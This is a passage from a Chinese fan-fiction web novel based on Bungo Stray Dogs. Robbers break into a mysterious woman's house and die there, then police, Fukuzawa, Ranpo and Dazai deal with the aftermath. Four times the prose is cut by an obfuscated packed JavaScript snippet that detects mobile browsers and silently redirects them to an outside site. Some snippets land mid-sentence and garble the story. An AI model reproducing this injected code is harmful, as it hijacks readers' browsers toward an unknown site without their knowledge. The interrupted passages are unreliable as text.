“阿嚏!什么人家,种这么多这玩意干什么?老子都被呛死了!” 另一个穿着绿色外套的男人一手捂着腹部,另一只手用枪托敲了他一下:“小声点,你想把人都引来吗?” 那个不知打哪冒出来的白头男对他们穷追不舍,打又打不过,只能先找个地方躲躲。但是一般地方不行,那人会像狗一样跟过来,最好找一个人家躲着,这样有什么意外还能拿人做个人质。 “打眼儿看过去就这家的院子最花里胡哨,这家肯定最有钱!” 原本抢来的东西都在那次黑手党袭击中丢失了,他们现在五个人身上凑不出一碗面钱,必须先整点跑路的资金。 小心翼翼地撬着屋门,背着包的寸头男人忒了一声,不满地说:“咱们什么时候这么憋屈过,要我说,还是回东京得了,那帮废物也抓不到咱们。” 绿色外套男应该是几人的头目,他低声怒斥:“要不是你看管不力把人质放跑了,咱们早带着他跑出横滨了,还用得着一边躲藏一边找新人质吗?一群废物!” 说话间门锁咔哒一声开了,进入屋内,首先看到的是通往二楼的楼梯。 绿色外套男冲几人摆摆手:“你们几个上二楼,看到什么人都绑起来,小心一点别弄出动静。我的伤还没好,咱们能在这休养几天就休养几天。武太,你和我在一楼搜刮,有什么值钱的先装起来!” 几人听命,开始分头行动。 这座房子的房体有些陈旧了,但是家具看起来都是新的,不过这些东西带不走,也不如现金首饰来得值钱,不值得注意。 绿色外套男翻了客厅的茶几底下和沙发靠背,都没找到什么值钱的玩意。 拉开茶室的门,男人瞪大了眼睛,一眼望去这茶室里可都是高档货。 “这套茶具可是进口的,能卖不少钱,我就说这家肯定能摸到好东西!” 男人说着又摸了摸墙上的版画,发现也是有不少年头的老物件。经典的浮世绘风格越看越熟悉,他仔细搜寻了一番,最后在角落里找到了去世已久的著名日本画家的印章。 这种名画就这么随便地挂在墙上? 男人心里犯起了嘀咕,该不会是赝品吧? 背后突然传来刀疤男的惊呼声:“老大!快看这里有什么!” 男人回头,只见刀疤男掀起了茶室角落的一块榻榻米,正招呼着他赶快过去。 他凑近一看,只见榻榻米下是一个大概十寸见方的暗格,此时暗格的盖子被推开,露出了下面大把大把的五颜六色的宝石! 男人头上的冷汗刷地就流下来了。 ——正常的普通人家里真的会有这么多宝石吗? 不久前阴沟里翻船抢了黑手党的事情再次浮现在脑海中,绿色外套男人看着这堆宝石心里直发怵。 他咽了口唾沫,觉得不能这么巧吧?他挑了半天,难道挑中了哪个大佬的家吗? 刀疤男没有他想得那么多,两手一捧就开始把宝石往背包里装。大把大把的宝石塞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944858|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进背包,背包不一会儿就变得沉甸甸的。 但是装着装着,他开始感觉到不对劲了。 刀疤男仔细看了看手里镶嵌着巨大粉色钻石的银戒指,犹豫着开口:“老大……我怎么觉得,这些宝石是咱们抢的那批……?” 戒指的开口处有一点细微的变形,那是他在珠宝店里搜刮时掉在地上踩出来的。 绿色外套男脸上瞬间失了血色:“什么?!” 他扑过去用力翻动那堆宝石,真的在里面发现了几个让他印象深刻的首饰,比如那个足足有一个拳头大的玉佛吊坠。 这下两人彻底慌了神,刀疤男哆哆嗦嗦地问:“老、老大,这是怎么回事……咱们……” 绿色外套男将手里的玉佛一扔,崩溃地说:“妈的,你问我我问谁去?!” 这些宝石不是被星野会的人抢回去了吗?怎么会在这里?!男人只觉得背后凉飕飕的,像有无数只眼睛在盯着他。他咽了口唾沫,大脑已经不能思考。 喀哒—— 房间里传来了一声细微的响动。 那块被扔回暗格里的玉佛不知道砸在了什么地方,整个暗格都开始移动,最后竟然露出了一个向下的入口——暗格底下还有空间! 绿色外套男看了一眼楼上,上面安安静静没有什么响动,完全判断不出是什么情况。 他一咬牙对刀疤脸说:“下去看看!”既然惹都惹了,那他倒要看看这户人家到底是什么来头!他死也要做个明白鬼! 在抱着必死的准备踩上向下的楼梯时,男人以为已经没有什么能吓到自己了,但事实证明他还是想得太少了。 昏暗的空间里,镶嵌在黑色墙壁上的红宝石散发着血红色的光辉,被宝石照亮的部分能隐隐约约看到刻画在墙壁上的诡异法阵。 地面上杂乱摆放的花盆里生长着品种不明的古怪植物,有的还在随着某种节奏晃动枝条。大量凌乱散落的书籍堆在地面与墙角,使得本就昏暗的空间更显拥挤,让人没有落脚的地方。 当然,男人也没有想要再上前一步的意思。 在他视线的正前方是一个巨大的复古红木桌,桌子的正中央摆放着一个坩埚,锅中蓝黑色的液体沸腾着,正在咕嘟咕嘟地冒着气泡。锅中的泡泡不断变大,然后啪一声破裂,从气泡中冒出的蓝色气体飘散在坩埚周围,形成一团烟雾。桌子边缘,一个个或大或小的盛满五颜六色液体的玻璃瓶按照从高到低的顺序排列在桌面上。 如果他没有看错的话,那些瓶子里泡着的是器官,是分辨不出本体的,还能活动的器官! 他向后一步跌坐在地上,惊恐地张大嘴巴,口中挣扎着发出几声微弱的气音。 似乎是被这声响动吸引了注意力,一双被泡在浅紫色溶液中的眼球转了转,最后顺着声音望了过来,鲜红色的瞳孔正对着他。 他双手撑在身后用力蹬腿向后移动,想要离那诡异的东西远一点,却见那眼球的瞳孔微微放大,上下颤了颤,似乎是在对他……笑? “你看到了啊。” 骤然响起的声音像一道惊雷落在了耳边,男人见鬼一样惊恐地回头,只见一个身穿浅蓝色菖蒲纹样和服的女人站在他身后,脚下堆叠着他那些不知是死是活的同伴的躯体。 女人竖起一根手指放在了猩红的唇上,微微歪头,声音有些苦恼:“不好意思,既然你看到了,那就不能让你活着出去了啊。” 49.第 49 章 横滨的港口,天还没有彻底亮起来。 太宰治站在码头上看一群人敏捷迅速地将一个个箱子搬上岸,行动间悄无声息。 海风吹过,掀动他肩上披着的黑色外套,别在外套胸前的猫咪胸针在晨光的照耀下变成了淡淡的粉色,随着外套的摆动闪闪发亮。 关于开辟新的宝石走私线的问题,太宰治就一个准则——“快”。 在被如今掌握着宝石走私产业的组织们发现之前,他们要隐蔽且迅速地切入市场,趁着对方没有提起警惕先打开市场缺口。 至于抢占市场份额,那是站稳脚跟之后的事。 行动开始得比太宰治想象的还要顺利。直到第一批宝石入港,没有任何人发现港口黑手党暗中的动向。 这一切要归功于“星野会”失踪的那一批宝石。 在那个叫做“游隼”的强盗组织来到横滨的第一天,太宰治就注意到他们了。 不用说,那个被抢的珠宝店也是太宰治引他们去的。如果不是他让人引开了那边的布防,那几个外来者凭着那么几支枪怎么可能抢得了星野会的场子。 黑货这种东西,你守得住就是你的,出了你的地盘那就是无主的。星野会想要瞒住宝石被抢的消息,偷偷派了一队人马去将被抢的宝石拿回来,顺便教训那几个不知道天高地厚的抢劫犯。 他们前脚刚出发,太宰治后脚就把消息传给了同样进行宝石走私的“竹吉座”,也是星野会的敌对组织。 不出所料,在星野会的人带着宝石回程的时候,遭到了竹吉座成员的袭击,双方围绕着那批宝石的归属展开了一场火拼。 太宰治并不关心那场战斗的胜负,无论那批宝石最后落入哪方手中,双方的摩擦都已经开始了。接下来的一段时间内,他们会把大部分精力放在攻击敌对组织夺取利益上,港口黑手党承担的压力会小很多。 然而事情的走向比预想的更有趣——那批宝石失踪了。 众目睽睽之下,两方交战的战场中,那批价值几亿日元的宝石不翼而飞。 星野会第一个怀疑的自然是交战中的竹吉座,认为是他们偷走了宝石。在竹吉座成员的极力否认之下,双方又把视线投向了其他进行宝石走私的组织。 那么一大批宝石,没有成熟的走私线是无法处理的,所以当然要先怀疑他们。 总之在这场混乱之下,港口黑手党完美隐身,第一批宝石在神不知鬼不觉中进入港口。 不过这种局面并不会持续太久,最迟今晚,那些组织就会反应过来这其中有人在背后捣鬼,港口黑手党的打算就藏不住了。 所以那批宝石哪里去了呢?关于这个问题,太宰治多少还是有些兴趣的。 毕竟他谋划了半天,宝石却落到了脸都没露的家伙手里,这不是给别人打了白工? 当然,最惨的还是“星野会”,几亿日元的宝石说丢就丢了,连便宜了谁都不知道。 太宰治摇摇头。所以说出来混,先要看好自己的一亩三分地,不然在外面耀武扬威一天,回头一看家被偷了,这也太可怜了。 对着朝阳伸了个懒腰,望着波光粼粼的海面,太宰治思考要不要下去入个水。 身后传来的熟悉的手机铃声打断了他,太宰治回头,一个穿着黑西装的黑手党成员举着手机小跑过来。 “太宰大人,您的电话。”他低着头,对这个半大的少年有着几分忌惮。 与其他对首领的安排不服,在背后乱讲说闲话的成员不同,他亲眼见过眼前这个看似柔弱无害的少年在平定前首领党叛乱的时候是如何笑着将人逼上绝路的。每次面对太宰治,他都觉得脊背发凉。 递到太宰治面前的黑色手机挂着一只小小的黑猫吊坠,亮起的屏幕上是一串熟悉的号码。 他接通后,听着电话那头传来的女孩的声音,慢慢露出了一个古怪的神情。 “虽然说出来你可能不太相信,太宰,但还是要通知你,青理被警察抓走了。” 太宰治:……? · 略早些时候,在居民区,身披深蓝色羽织的银发男人踏入此地。 男人面色肃穆,周身气势冰冷肃杀。尽管脚踩木屐,但他的步伐沉稳有力,像一只身形矫健的狼。 他的身边跟着一个披着英伦风棕色格子披肩的少年。 少年有着一头黑色的短发,身形瘦小,此时正抱着一袋薯片仰头往嘴里倾倒,悠闲轻松的模样与旁边的男人大相径庭。 “乱步,你确定人还在里面?”注视着眼前安静得悄无声息的院落,福泽谕吉再次向旁边的少年询问。 被叫做乱步的少年抖了抖薯片袋子,发现倒不出东西,正把脸凑近薯片袋眯着眼睛向里面看。闻言,他一下子直起身不满地挥舞着手臂说:“社长在质疑乱步大人吗?乱步大人从来不会出错!” 作为曾经破获“天使杀人事件”的主力,如今在警界也大有名气的江户川乱步当然有底气说出这句话。 看透一切的智慧,洞察人心的目光,具备超人头脑的少年所经手的案件都以惊人的速度被侦破。这就是武装侦探社的大脑,是推理本身。 作为武装侦探社的社长,也是江户川乱步的监护人,福泽谕吉当然相信他的判断。只是如此一来,想要在此地抓住这伙强盗又困难许多。比起破案,保护无辜群众的生命安全才是更重要的事情。 “乱步,你留在外面,找个地方躲起来。”说着,他轻身一跃就翻过了院墙落入院中。 庭院的植株有被踩踏过的痕迹,地上凌乱的脚印都是通向屋里的,确实没有离开的足迹。 现在劫匪很可能已经绑架了房子的主人当作人质,甚至屋子里可能已经设下了埋伏和陷阱。但是他必须进去,为了解救人质,也为了抓住这一伙多次犯案的强盗。 一手握住门把,将耳朵贴在门上,福泽谕吉屏息静气,聆听着屋内的动静。屋内十分安静,听不到一点声音,但是一丝血腥气从门缝中挤了出来。 男人面色一沉,糟了,人质可能已经负伤了。 福泽谕吉不能再等,起身就要破门而入。 “社长。” 身后突然响起少年的声音,福泽谕吉一个趔趄,猛地回过头。 “乱步?!你怎么进来了?!不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952129|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你……” 英伦侦探打扮的少年嘴里叼着饼干,眯着眼睛抬手向身后指了指,双颊鼓鼓含糊不清地说:“可是警察来了哎。” · 在横滨出生长大,在社会底层摸爬滚打,看遍了横滨混乱景象的川崎林之从小就立志要成为一名警察,他要终结横滨的黑暗,将横滨从腐败与罪恶中拯救出来! 长大后,明白了孤独的英雄主义无法拯救这个腐烂的城市,自己也不是英雄,川崎林之很实在地给理想打了个折扣。或许他的力量微乎其微,但至少他能成为一名尽职尽责的警察,让这座城市少一些污点,多一点希望。 然而,真正成为一名警察踏入职场的大门之后,他才明白自己这个平凡的梦想都显得那么可笑。 毒/品走私,人口/贩卖,非法/赌/博,悬赏暗/杀……这座城市埋藏的黑暗比他想得更多。相比之下,□□械斗都已经成为能够拿到明面上说的普通事件。 在出警抓过几个黑手党成员之后,和他搭档的老警察对着他摇头叹息。起初他不懂什么意思,直到队长找他谈话,明里暗里地告诉他年轻人不要那么不懂变通,从警局出来,看到他亲手抓过的人完好无损地扬长而去,他懂了。 那么警局里全都是懂得变通的成年人吗? 不是的,不是所有人都向现实妥协,仍然有人坚守在自己的岗位上。 但是这点努力杯水车薪。 每天都有接不完的电话,处理不完的警情,警车的嗡鸣声从来没有停止过。他们东奔西走忙忙碌碌,可往往一件案子还没有处理完就又添了许多案情。最终在高层的施压和暗示之下,太多事情无可奈何,无疾而终。 关于最近在横滨接连发生的团体抢劫案,川崎林之无比上心。 这是一个外来团体作案。 知道这意味着什么吗?这意味着他们与横滨的黑手党没有瓜葛,与高层政/要没有牵连,与警局内部没有来往。 这意味着他可以将这些人绳之以法。 他知道这代表不了什么,可是他已经混沌太久,久到已经快要记不得从警校毕业时的那种意气风发。他太需要一个坏人的伏法来证明自己的理想不是荒诞的无稽之谈,证明他当初选择回到横滨不是一个笑话。 他奔走在各个案发现场,收集证词,追查劫匪的下落,忙到三餐只吃面包。可是横滨的案件太多,愿意干活的警察太少,分配到他手里的警力更是少之又少。一次次地扑空,一次次错过,他的斗志逐渐磨损,抓到那些劫匪似乎也变成了一件不可能办到的事。 在得知那位近来名声大噪的名侦探也在追查那些劫匪的下落时,他先是松了口气,然后又对自己的无能感到深深的无力。 如果必须求助侦探才能解决事件的话,那他的理想,他的坚持,他身为警察的信仰,真的还有存在的必要吗? 又一次从已经人去楼空的据点走出来,他看着逐渐升起的日光,感觉到一丝疲惫。 “前辈!” 刚刚入职不久的小女警抓着手机站在他身前,挂着黑眼圈的脸上露出了一个兴奋的笑容,“找到劫匪了!前辈!” 50.第 50 章 凌晨五点三十五分,派出所接到报案,一位居民家中闯入多名劫匪,绑架房主后对房屋进行了洗劫。在离开之前,几人因为分赃不均发生争吵,进而升级为械斗,最终五名劫匪均失去意识。 报案人为被绑架的房主,据她称劫匪为涉案在逃人员。 案件移交市警察局。 凌晨五点四十七分,市警川崎林之带队到达案发现场,于报案人家门前遇见武装侦探社社长福泽谕吉与成员江户川乱步。互相打过招呼后,川崎林之得知两人接到的委托内容,允许其留下旁观。 凌晨五点五十五分,经确认,小型武装强盗组织“游隼”,五名成员均已身亡。 淡岛家的屋门大开着,有警员在进进出出地做现场采证。 福泽谕吉站在门口向内看了一眼,只能看到凌乱的玄处坐着一个哭泣的女人。她双臂抱膝,将脸埋在手臂里,只露出了发丝凌乱的发髻。身上的浅蓝菖蒲纹和服略显脏污,小腿处的衣摆有捆绑过的痕迹,原本平整的面料此刻变得皱皱巴巴还有些许破损。 “淡岛夫人,没事了,别害怕。先抬头,我帮你处理一下脸上的伤。”穿着警服的小女警蹲在女人身前,手里拿着药箱哄着女人抬头。 女人把脸埋在手臂里,额角处还流着血,用力摇了摇头。小女警没办法,只能先处理女人小腿上的伤。 将和服下摆掀起一个角,一道道狰狞的擦伤就显露在她面前。 女人的皮肤很白,白得透亮,小腿靠近脚腕的地方却有着一圈红色的伤痕。或许是劫匪绑得太用力,也或许是女人的皮肤太娇嫩,尽管隔了一层衣服女人的小腿还是被绳子磨得皮开肉绽,滴落的血珠落在白袜上,触目惊心。 小女警倒吸了一口凉气,拿着棉签的手小心翼翼地靠近,却始终不敢落在那绽开的皮肉上。 她慌张地抬头张望了一圈,发现在场的女性除了自己就只有缩在门后的银发小女孩。女孩低着头站在门后的阴影里,像是吓得不轻。 小女警一咬牙一跺脚快速地给伤口进行了消毒,然后认真地缠上纱布。整个过程中女人只在最开始抖了两下,这让小女警不知不觉间减轻了一些心理压力。 在给女人处理了一遍伤口之后,她向客厅的方向张望了一下,凌乱的现场和斑驳的血迹让她收回了视线。 她来到门后蹲下身,放轻了声音说:“小朋友,你叫什么名字啊?” 有着银色长卷发的小女孩怀里抱着一只大大的白色兔子玩偶,将整张脸都藏在玩偶后面,只露出一双金色的眼睛。 “莉帕。”女孩小声说。 “好可爱的名字,你是外国人吗?”小女警张开双臂对她诱哄,“到姐姐这里来好不好?姐姐带你出去。” 闻言,女孩金色的眼睛眨了眨,抱着兔子玩偶慢慢地从门后挪了出来。 小女警眼神一亮,却见女孩没有继续向前,而是转身向门外跑去。 咦?! 她连忙起身去追,“等一下,莉帕!” 那道小小的身影却一溜烟地跑远,消失在了一片黑色的衣角后面。顺着黑色的马乘袴向上看去,一张棱角分明不苟言笑的面孔映入眼帘。 “哎?福泽先生……?”女警与男人面面相觑。 银色的脑袋从福泽谕吉身后探出来,女孩的小手紧紧地攥着他的衣摆,攥出了几道突兀的褶子。 尽管喜欢一些可爱的小动物,但因为冷硬的气质,福泽谕吉并不招动物们的喜欢。此时女孩小小的身躯躲在他身后,探头探脑的样子像一只胆小的银色猫咪。福泽谕吉面上毫无表情,实则手脚僵硬,一动不敢动。 江户川乱步从旁边冲过来,对女孩的行为十分不满:“你是谁啊?放开大叔!不准……” 一颗递到眼前的棒棒糖截住了他的话,女孩递出棒棒糖,藏在兔子玩偶后面的金色眼瞳一眨不眨地盯着他。 “咳咳,”江户川乱步接过棒棒糖装作不经意地咳了两下,然后叉腰宣布,“好吧,看在你这么懂事的份上,乱步大人就把社长大叔借给你啦。” 福泽谕吉僵硬地转头:“乱步……” “有什么关系嘛,反正现在警察都很忙,大叔你就帮忙带一下孩子好了。”将棒棒糖拆开放入口中,江户川乱步让小女警去忙,把女孩放心交给他们就好。 小女警是认识福泽谕吉的,听到保证,她犹豫了一下就将女孩留给二人照看,自己回到了屋内帮忙。 在她离开后,莉帕也松开了福泽谕吉的衣角,这让福泽谕吉松了口气。 他看着来来往往的警察和被搬运出来的尸体,沉声发问:“乱步,这件事你怎么看?”五名劫匪真的都死于自相残杀吗? 身边一片安静,没有回应。 福泽谕吉一转头,只见江户川乱步和名叫莉帕的女孩面对面盘腿坐在水池边上,两人中间摆了一大堆五颜六色的包装袋,女孩的手伸进兔子玩偶背后的拉链里,还在源源不断地往外掏着糖果饼干和各色零食。 江户川乱步左手一瓶汽水右手一包曲奇,闻言,嘴里叼着棒棒糖仰起头,含糊不清地说道:“森么偶怎么叹?弗是藕警察盖吗?” 福泽谕吉:…… 江户川乱步没在意社长的欲言又止,他只关心女孩的玩偶里还有什么好吃的。 反正他们接到的委托只是找到入室抢劫的劫匪,现在劫匪也找到了,后续怎么样就是警察的事情了,和他有什么关系? 室内的案发现场已经调查得差不多了,尸体已经被抬走,只剩下在打斗中被撞得七零八落的家具和溅射的血迹。 一个警察翻着本子来到川崎林之面前,沉声汇报:“都检查得差不多了,根据尸体情况来看,游隼的头目死于失血过多,其余人死于枪伤,子弹型号和各自枪支的使用情况都能对得上。在他们的背包中发现了一些进口的名贵瓷器,还有一些古玩画作。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959476|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一边翻看记录一边咋舌:“虽然这些东西很贵重不错,但是和他们之前的抢劫数额相比也贵不到哪里去,怎么就起内讧了呢?” 室内的打斗痕迹很多,现场也很凌乱,看得出当时每个人都没留手,打得很激烈。但是为了这些东西至于吗?他们还在逃亡途中,就不怕弄出动静把人引来吗? 川崎林之正在观察纸拉门上的弹孔,闻言问道:“周边邻居问过了吗?” “问过了,但是都说没有听到什么动静,不知道发生了什么事。” 这片街区都是独栋住宅,房屋之间也不是紧挨着,可是从现场的痕迹来看打斗的动静一定是不小的。虽然劫匪的枪都装了消音器,但邻居真的就一点声音都没有听到吗? 从接到电话得知游隼的下落时,川崎林之就一直处于一种诡异的精神紧绷的状态,而当他看见横七竖八地歪倒在地上的尸体时,心中紧绷的心弦一松,突然感觉到从未有过的轻松。 是的,虽然他还是没能抓到这些人让他们伏法,可是至少这次,坏人得到应有的报应了不是吗? 他站在那里,看着跟来的警察抬着尸体离开,感觉到了无比的轻松快意,好像一直以来压在胸口的石头终于挪开了一点,让他得以呼吸一口自由的空气。 可是这种轻松并没有持续多久,在了解过情况后,很快,另一种窒息感涌上心头,像一只无形的手卡住他的咽喉,让他呼吸困难。 ……那五个人真的是死于内讧吗?一种古怪的,令人毛骨悚然的感觉萦绕在他心头,挥之不去。 他看着墙壁上飞溅的血痕,感受到的不是残暴贪婪的恶意,而是绝望痛苦的挣扎。 他用力摇了摇头,把那种荒谬的感觉从脑海中挥散。 经过一个多小时的调查,现场已经取证完毕,接下来的事情就要回到警局处理。 玄关处的女人已经停止了哭泣,听见脚步声微微侧过身来。她额头的血已经止住了,小女警用纱布给她简单地包扎了一下。她一侧脸颊上还带着明显的擦伤,伤口很浅,处理过后有些地方已经开始凝血结痂,红褐色一片在白皙的皮肤上很是显眼。 “已经结束了吗?警官?”淡岛青理抽着鼻子,小声询问。 川崎林之点点头说道:“现场已经取证完毕,但是有些事情还需要调查,能不能请你跟我们去警局一趟做个笔录?” 淡岛青理没有意见,她转动视线搜寻四周:“莉帕怎么办呢?” 小女警连忙上前,安抚道:“莉帕小姐正在由福泽先生照看,您可以放心。” 福泽,福泽谕吉?淡岛青理挂着泪珠的睫毛颤了颤。 那岂不是说,那个侦探也…… 一个戴着棕色贝雷帽的脑袋突然从门边冒出来,刚刚还浮现在脑海中的侦探少年眯着眼睛欢快地说:“这个小鬼在这里啦,你放心吧。” 在他脚边,银发女孩抱着兔子玩偶点了点头。 51.第 51 章 淡岛青理跟着川崎林之走出房门,小女警走在她身侧搀扶着她的胳膊。 从庭院里经过时,她看见了相较于记忆中年轻不少的银狼武士。对方身姿挺拔,神色肃穆。 淡岛青理微微点头示意,然后与他擦肩而过。 福泽谕吉一直注意着那个身为受害者的女人,他看见了女人额头上的纱布,手腕上的红痕,还有行走间显露出来的沾了血迹的鞋袜。 她就像每一个倒霉卷入不幸事件的普通女人一样,凄惨柔弱,惊惶无助。 然而在擦肩而过的一瞬间,他突然绷直了脊背,双目圆睁! 尖锐的嘶吼声从他耳边爆开,眼前似乎出现了无数红色烟雾凝聚成的触手狰狞地向他扑来,他后退一步,垂在身侧的手迅速抬起想要握住什么。 他早已不再佩刀,自然什么也没握到。 但下一秒,手中被塞入了一个柔软的物体。 他低头,白色的兔子玩偶垂着长长的耳朵,红色宝石缝制的圆眼睛目光炯炯地注视着他。 “珍妮,送给你。”有着银色长卷发的女孩第一次开口,仰着头送出了自己心爱的兔子珍妮。 刚刚的红色幻象已经消失了,男人僵在原地,被打了个措手不及。 他一手握拳轻咳了一下,另一只手动作僵硬地接过兔子,不太熟练地开口:“咳……谢谢。” “哎?为什么送给大叔?我的礼物呢?”江户川乱步追过来,非常不满意她厚此薄彼的行为。 现在最应该收到感谢的难道不应该是名侦探乱步大人吗?如果不是乱步大人心地善良…… 莉帕的回应是拿出了一盒限量贩售的粗点心,成功平息了江户川乱步的怒火。 警察已经带着淡岛青理坐上车离开了,现在这个院子里就剩下了福泽谕吉三人。 望着和乱步玩得相当融洽看不出一点心理创伤的女孩,福泽谕吉难得地感到了棘手。总之,先带回侦探社吧,也许晶子知道该怎么开导这个孩子。 这时,院门口出现了一个身影向内张望,是上班途中停下查看情况的松本小姐。 “那个,淡岛夫人她没事吧?”望着院子里陌生的男人,她迟疑地发问。 福泽谕吉告诉她,那位夫人没有大碍,只是现在被带到警局去了。 松本小姐松了口气。从之前警察来找她问话的情况看,淡岛夫人家可能发生了入室抢劫案,好在太宰君每天很早就出门,淡岛夫人和莉帕也都没事,这就万幸了。 她看了看手表,发现上班快要迟到了,但是望着两张陌生的面孔,她又不放心把莉帕留在这里。 “哈?竟然在怀疑名侦探是坏人吗?社长,快把名片给她看看!”江户川乱步一眼就看穿了她的想法,受到质疑的名侦探非常恼怒。 松本小姐接过了福泽谕吉递来的名片,又拿出手机搜索了一下“武装侦探社”,最后终于放下心来。 “那莉帕就麻烦你们了。不过如果可以的话,还是通知一下太宰君吧,他是莉帕的哥哥。”松本小姐说完就急匆匆地赶去上班了。 经她提醒,福泽谕吉才想起来他都没有问过女孩有没有别的家人。现在得知了女孩还有一个哥哥,那确实应该联系一下他。尽管女孩现在看起来没有异常,但他无法判断女孩内心有没有留下创伤,也许家人的陪伴能给予她一些安全感。 他蹲下身,向女孩询问有没有她哥哥的电话。 女孩用一个一言难尽的表情注视了他一会儿,然后慢吞吞地从裙子口袋里掏出了手机。 于是就有了太宰治接到的那一通电话。 在接到电话后,太宰治有思考过两秒会不会是诈骗电话,最后还是捂着脑袋痛苦地承认了事实。 原来是他的家被偷了啊:) 将工作的事情安排给手下去处理,太宰治顺着莉帕提供的地址寻到了一栋老旧的办公楼。隔着一条街道,太宰治看见了一楼咖啡厅落地玻璃前的几个身影。 · 将滚落在地上的汽水瓶捡起来,与谢也晶子望着挤在咖啡厅卡座上一起看漫画的一大一小两个身影,重重地呼出一口气。 不得不承认,社长带回来的这个孩子有着让与谢也难以招架的古怪性格。单从她能和江户川乱步玩到一起这件事,就能看出这孩子也是一个既幼稚又成熟的小大人。看起来天真无邪,但相处起来毫无破绽滴水不漏。 与她谈话过后的与谢也晶子头疼得像ddl将至还没写完绪论不得不熬了三个通宵的研究生,太阳穴胀胀的,大脑快要死机。 总之,与谢也晶子无法判断这个女孩有没有因为血腥的场面留下心理阴影,对方小小年纪就习得了一身完美的伪装。她只能寄希望于对方那个即将到来的哥哥,或许亲情能让女孩卸下心防。 她理了理发丝,在两人对面坐下,抬手示意店员小姐再添两杯热咖啡,坐等救星到来。 咖啡店门口挂着的铃铛响了一下,与谢也抬头,看见一个一身黑色西装身上缠着绷带的少年跨入店内。 作为一个医生,与谢也的目光不由得在少年身上多停留了几秒。少年身形清瘦,披着黑色的西装外套,脸上,脖颈处,以及露出来的手腕上都缠绕着绷带。 那么大面积的伤口,是烧伤吗? 她将咖啡抵在唇边,漫无目的地想着。 视线中的少年在进门后没有迟疑,转过身面向这边,然后越走越近越走越近,最后停在了她的身边。 “你好哦,我是太宰治。” 与谢也条件反射地去握那只递到眼前的手:“哦,你好,我……” ……嗯? 反应过来少年说了些什么,她戴着黑色手套的手停在了半空。 太宰治?太宰?莉帕的那个哥哥?! 与谢也晶子双目圆睁,上下扫视这个目测绝对不会超过十四岁的瘦弱少年,瞳孔震颤。 不是,她以为发生了这种大事之后,能被叫来处理妹妹心理问题的哥哥至少也应该成年了吧?再不济也应该是一个活泼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15963720|174133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开朗的阳光少年吧?——没成年的与谢也晶子毫无道理地想。 眼前这个身高不到一米六还疑似负伤的忧郁少年真的能顶事吗?真的可以把早上发生的血腥事件讲给他听吗?最后的结果不会是她给兄妹两个做心理疏导吧?!她又不是心理医生! “啊,您就是与谢也小姐吧?”少年眸光闪闪,嘴角古怪地扬起,目光扫过少女头上的蝴蝶发饰,上前两步双手握住少女戴着黑色手套的手用力上下晃了晃,“久仰久仰!” 与谢也晶子被少年突如其来的热情搞懵了,紫色的眼瞳写满迷茫:“你认识我?” “哦,来之前听森……” “晶子。” 一直没有出声的江户川乱步放下手里的漫画打断了两人的对话,他对少女说:“你先上楼吧,这里交给我。” 难得看到乱步先生主动工作,与谢也晶子当然没有异议,从少年的掌心中抽出手上了楼。在离开几人的视线后,少女轻呼了口气。不知道为什么,那个少年给她的感觉很不舒服。 与谢也晶子一走,太宰治毫不见外地“嘿咻”一声坐在了与谢也原本的位置上,没骨头似的向前一趴,缠着绷带的手拨弄着桌子上的弹珠。 “所以叫我来什么事呢?该不会是莉帕被吓得哭鼻子了,要我来安慰吧?” 随着太宰治的出现,原本情绪波动不大的女孩明显变得生动了几分,她鄙夷地翻了个白眼,就差没把嫌弃写在脸上。 “谁会被吓得哭鼻子啊?如果是你在场,说不定会害怕地躲在阿尔托莉丝大人身后求保护呢!” 太宰治捂嘴发出“噗噗”的笑声:“小矮子身后根本躲不下我吧?” 莉帕气得直跺脚。 江户川乱步旁观了两人的拌嘴,缓缓睁开一只眼睛,绿色的眼瞳带着仿佛可以看穿一切的深邃,将一身黑衣的少年上下扫视了一遍。 “原来如此,”他再次合上眼睛,撇撇嘴说,“事情既然是你挑起来的,那现在这种情况也可以说是报应。” 